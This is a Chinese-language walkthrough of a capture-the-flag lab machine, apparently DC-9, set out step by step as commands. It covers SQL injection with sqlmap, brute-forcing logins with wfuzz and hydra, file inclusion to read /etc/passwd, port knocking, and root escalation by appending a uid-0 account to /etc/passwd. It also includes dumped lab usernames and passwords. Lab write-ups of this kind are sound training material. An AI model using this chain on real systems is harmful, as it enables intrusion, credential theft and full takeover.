靶机地址:链接:https://pan.baidu.com/s/1kMLviFtz2JosS422-L1Tgw
提取码:c5ur
1.主机发现
nmap -sP 192.168.128.1/24
arp-scan -l #得到IP 192.168.128.131
2.端口扫描
nmap -p 1-65535 -A 192.168.128.131 # 22 80端口
3.目录扫描
dirb http://192.168.128.131
或者nikto -host 192.168.128.131 这个查询到了config.php 但是打不开
4.操作网站找信息
#发现查询点:
万能密码注入尝试:' or 1=1 -- -
#F12看到是post请求,抓包看到search参数
sqlmap -u "http://192.168.128.131/results.php" --data "search=1" --dbs 查看所有的库名
sqlmap -u "http://192.168.128.131/results.php" --data "search=1" -D users --tables
sqlmap -u "http://192.168.128.131/results.php" --data "search=1" -D users -T UserDetails --columns
sqlmap -u "http://192.168.128.131/results.php" --data "search=1" -D users -T UserDetails --dump
这里更推荐直接全部dump
##notepad可以直接按住alt区域选择复制,这样可以把很多的账密分开做成字典。
#暴力破解:WFuzz
wfuzz -z file,name.txt -z file,password.txt -d "username=FUZZ&password=FUZ2Z" http://192.168.128.131/manage.php #这里POST请求必须使用 -d
wfuzz -z file,name.txt -z file,passwd.txt --hw 93 -d "username=FUZZ&password=FUZ2Z" http://192.168.128.131/manage.php
wfuzz -z file,name.txt -z file,passwd.txt --hh 1248 -d "username=FUZZ&password=FUZ2Z" http://192.168.128.131/manage.php
#没找到
**#尝试第二个数据库 Staff的信息。**
sqlmap -u "http://192.168.128.131/results.php" --data "search=1" -D Staff -T Users --dump
#找参数 #尝试了hw hh 的过滤方式,找不到对应的参数。 FUZZ后面带文件名(index.php,etc/passwd等),不带都尝试,考虑是字典还是参数不对。最后,想到回到根目录的 etc/passwd 使用../
wfuzz -b 'PHPSESSID=in952k2in45a06pcdmht1aepi3' --hw 100 -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.128.131/manage.php?FUZZ=../../../../../../etc/passwd
5.爆破登录
#看到很多操作系统账号密码。这里爆破操作系统的账号密码。但是并不行
hydra -L name.txt -P passwd.txt 192.168.128.131 ssh
**#22端口打开了,但是不能连接的原因?**
**1. 防护墙**
**2.所选用户不能使用22端口登录**
**3.linux服务:敲门 Knockd,确认方式:文件位置 /etc/knockd.conf 访问文件看到7469 **
**#用nmap对应敲门,只要访问了,就会打开的端口**
**nmap -p 7469 192.168.128.131**
**nmap -p 8475 192.168.128.131**
**nmap -p 9842 192.168.128.131**
#再次使用hydra爆破: 这里发现保存的字典,不能有任何空格
hydra -L name-dict -P passwd-dict 192.168.128.131 ssh
#登录
ssh janitor@192.168.128.131 输入密码即可
#登录成功还是老操作。看东西:
1. history
2. ls -a
3。 sudo -l
#发现密码,放到字典。继续hydra爆破:
hydra -L name-dict -P passwd-dict 192.168.128.131 ssh
**#登录成功,重复操作,sudo -l有信息:以root的身份执行操作程序**
./opt/devstuff/dist/test/test 执行 #python test.py read append 读取内容追加内容的意思
#怎么找test.py的文件位置?
find / - name "test.py"
find / -name "test.py" 2>/dev/null # 2代表标准错误输出,过滤到某地
cat /opt/devstuff/test.py
6.提取
#/etc/passwd的文件格式:密码是x的原因,在/etc/shadow里面,放在etc/passwd也可以
#第三位和第四位的数字是uid和gid,root用户是0
#第五位是用户描述,第六位是用户的工作目录,第七位命令 解释程序(执行命令的工具)
**这里提取思路:创建一个用户 把uid和gid都设为0即可,加密方式得是hash加密。利用python的脚本,追加到test.py**
openssl passwd -1 -salt admin 123456 $1$admin$LClYcRe.ee8dQwgrFc5nz.
完整的账密应该是: admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.
admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash 最后的解释脚本目录
在有权限的用户的下输入 echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
sudo ./test /tmp/passwd /etc/passwd
#可以看到新增了一个用户
cat /etc/passwd
su root
输入密码
7.笔记本:(记录收集到的信息和思路)
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian)) #有apache 有/var/www目录
网页主页有一堆个人信息
目录扫描:
==> DIRECTORY: http://192.168.128.131/css/
==> DIRECTORY: http://192.168.128.131/includes/ #没用
+---------------+-----------+
| password | username |
+---------------+-----------+
| 3kfs86sfd | marym |
| 468sfdfsd2 | julied |
| 4sfd87sfd1 | fredf |
| RocksOff | barneyr |
| TC&TheBoyz | tomc |
| B8m#48sd | jerrym |
| Pebbles | wilmaf |
| BamBam01 | bettyr |
| UrAG0D! | chandlerb |
| Passw0rd | joeyt |
| yN72#dsd | rachelg |
| ILoveRachel | rossg |
| 3248dsds7s | monicag |
| smellycats | phoebeb |
| YR3BVxxxw87 | scoots |
| Ilovepeepee | janitor |
| Hawaii-Five-0 | janitor2 |
+---------------+-----------+
第一个数据库账密不行 换数据库查
admin transorbital1
看到一个。。。。**File does not exist **
**考虑考虑文件包含---》找参数。。**
这里**注意:在登录时找参数,所以,直接用wfuzz找参数是一个没登陆的状态。带上cookie值,才是以登录的状态查找cookie值**
参数为 "file"
[22][ssh] host: 192.168.128.131 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.128.131 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.128.131 login: janitor password: Ilovepeepee
后面收集到的
login: fredf password: B4-Tru3-001
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
读取任意文件内容,追加到任意文件中去